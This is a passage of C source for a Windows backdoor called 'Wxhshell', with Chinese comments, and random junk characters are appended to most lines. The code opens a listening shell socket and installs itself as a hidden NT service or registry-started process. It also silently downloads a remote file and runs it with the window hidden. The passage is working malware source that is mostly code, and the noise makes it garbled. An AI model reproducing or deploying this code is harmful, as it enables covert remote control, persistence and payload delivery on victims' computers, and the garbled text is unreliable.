ULONG UniqueProcessId; 4f~["[*ea
ULONG InheritedFromUniqueProcessId; ES<{4<Kpx
} PROCESS_BASIC_INFORMATION; W>M~Sk$v
hh~n#7w~IR
PROCNTQSIP NtQueryInformationProcess; FuX 8v
dY"}\v6
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $|KaBx1
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;NV'W]
L:M0pk{T
HANDLE hProcess; V@d)?T
PROCESS_BASIC_INFORMATION pbi; PuxK?bwC
k>E`s<3
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |3K)$.6~
if(NULL == hInst ) return 0; .$",
*d
x'Pi5NRE
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JaWv]@9*
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hJ5z/5aE;
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XT,#g-oi
7ou46v|m5
if (!NtQueryInformationProcess) return 0; VGw(6`|!
:)jJge&^p
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;Qi }{;+
if(!hProcess) return 0; ~#}Dx
:HH
<DH*~tLp2
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i`)!X:j
*QM~O'WhD
CloseHandle(hProcess); 1\dn1Hh
4gdY`}8b^}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Je4Z(kj 0
if(hProcess==NULL) return 0; ^*R(!P^
9umGIQHnil
HMODULE hMod; _SZ5P>GIU
char procName[255]; gQ~5M'#
unsigned long cbNeeded; g8ES8SM
^IgY d*5
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jnuY{0(&
[ neXFp}S
CloseHandle(hProcess); ~un%4]U
tLm867`c7
if(strstr(procName,"services")) return 1; // 以服务启动 gLL-VvJ[
8_uzpeRhJc
return 0; // 注册表启动 j2h[70fWC
} SW(q$i
DhI>p0* T
// 主模块 *.f2VQ~H
int StartWxhshell(LPSTR lpCmdLine) >+cVs:
{ ~9D~7UR
SOCKET wsl; ^_p%Yv
BOOL val=TRUE; d0er^ ~
int port=0; %u p}p/?
struct sockaddr_in door; ;52'}%5
V'Qn sI
if(wscfg.ws_autoins) Install(); km:nE: |
H L<s@kEZ
port=atoi(lpCmdLine); tn/T6C^)
<XQ.A3SG!
if(port<=0) port=wscfg.ws_port; HTz+K6&
v4*rPGv
WSADATA data; % U`xu.
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lm'Zy"~::
[A~G-
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; i cUT<@0
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *QE<zt
door.sin_family = AF_INET; Z&!!]"I
door.sin_addr.s_addr = inet_addr("127.0.0.1"); j?(!^ _!m
door.sin_port = htons(port); sCH)gr@gJ^
v.Ogf5
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zu<]bv
closesocket(wsl); s[3fqdLP&
return 1; XOb}<y)r~
} /jD-\,:L}
i4Z4xTn
if(listen(wsl,2) == INVALID_SOCKET) { >tRHNB_
closesocket(wsl); L x|',6S
return 1; d-!<C7O}
} 8zQfY^/{M
Wxhshell(wsl); !ZtSbOC '
WSACleanup(); MWWu@SY
Ar,
9U9
return 0; va{#RnU
o96:4j4
} pe04#zQK
S;@ay/*~
// 以NT服务方式启动 EU`T6M
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {_ V0
{ S0@T0y#
DWORD status = 0; LZ~`29qw(
DWORD specificError = 0xfffffff; ~o15#Pfn/
T|'&K:[TJ
serviceStatus.dwServiceType = SERVICE_WIN32; b#Kq[}
serviceStatus.dwCurrentState = SERVICE_START_PENDING; (wt+`_6
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k{Lv37H
serviceStatus.dwWin32ExitCode = 0; Wr|G:(kw\!
serviceStatus.dwServiceSpecificExitCode = 0; HD # r0)
serviceStatus.dwCheckPoint = 0; ZykrQ\q9
serviceStatus.dwWaitHint = 0; z[!x:# q8`
18!VO4u\I
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )Id2GV~2B
if (hServiceStatusHandle==0) return; E)YVfM
!G=>ve
status = GetLastError(); |KG&HNfP-
if (status!=NO_ERROR) !Rw&DFU
{ 8:g!w:$x
serviceStatus.dwCurrentState = SERVICE_STOPPED; -wr(vE,
serviceStatus.dwCheckPoint = 0; FRyPeZR
serviceStatus.dwWaitHint = 0; -Wo15O"
serviceStatus.dwWin32ExitCode = status; Y_H/3?b%
serviceStatus.dwServiceSpecificExitCode = specificError; Ky9W/dCR
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !sIwFv)
return; K} x/ BhE+
} 13f<0wg
lH1g[ ))
serviceStatus.dwCurrentState = SERVICE_RUNNING; ()|3
serviceStatus.dwCheckPoint = 0; !L\'Mk/=A
serviceStatus.dwWaitHint = 0; r+gjc?Ol
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VWvoQf^+
} &IQ%\W#aY
fGu!M9qN4
// 处理NT服务事件,比如:启动、停止 f$D@*33ft
VOID WINAPI NTServiceHandler(DWORD fdwControl) emWGIo
{ q.oLmX
switch(fdwControl) @FX{M..
{ %!W%#U0
case SERVICE_CONTROL_STOP: X8 qIia
serviceStatus.dwWin32ExitCode = 0; T_ ^C#>
serviceStatus.dwCurrentState = SERVICE_STOPPED; R^{xwI
serviceStatus.dwCheckPoint = 0; }: #dV
B+
serviceStatus.dwWaitHint = 0; Di.;<v#FL
{ o~~ 9!\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \graMu}-
} 5H.Db
return; %x2b0L\g
case SERVICE_CONTROL_PAUSE: 5+L8\V9;
serviceStatus.dwCurrentState = SERVICE_PAUSED; :('I)C
break;
GXeAe}T
case SERVICE_CONTROL_CONTINUE: HF4Lqh'oco
serviceStatus.dwCurrentState = SERVICE_RUNNING; s-6:N9-
break; V*qY"[
case SERVICE_CONTROL_INTERROGATE: {8m1dEC^@Q
break; _Y#Bm/*
}; {%7<"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~I$}#
} =R9*;6?N
qX@9N=g`#O
// 标准应用程序主函数 w6U
@tW
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >l2w::l%
{ _;G=G5r
iwo$\
// 获取操作系统版本 ~07RFR
OsIsNt=GetOsVer(); 22vq=RO7Z
GetModuleFileName(NULL,ExeFile,MAX_PATH); a|.20w5
[$:@X V(
// 从命令行安装 qy9i9$8
if(strpbrk(lpCmdLine,"iI")) Install(); QNJ\!+,HV
tR O IBq|
// 下载执行文件 CKC0{J8g
if(wscfg.ws_downexe) { 4<Kgmy
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F@<MT<TRf
WinExec(wscfg.ws_filenam,SW_HIDE); X%`KYo%
} Xu%d,T$G
Sh$U-ch@
if(!OsIsNt) { u\5g3BH
// 如果时win9x,隐藏进程并且设置为注册表启动 d$Em\*C
HideProc(); {G.jB/
StartWxhshell(lpCmdLine); Z:^3Fm->+
} ?pKN'`
else Oxj(g;}
if(StartFromService()) *H*\gaSh
// 以服务方式启动 F(0Z ]#+
StartServiceCtrlDispatcher(DispatchTable); u_Zm1*'?B
else 85C#ja1&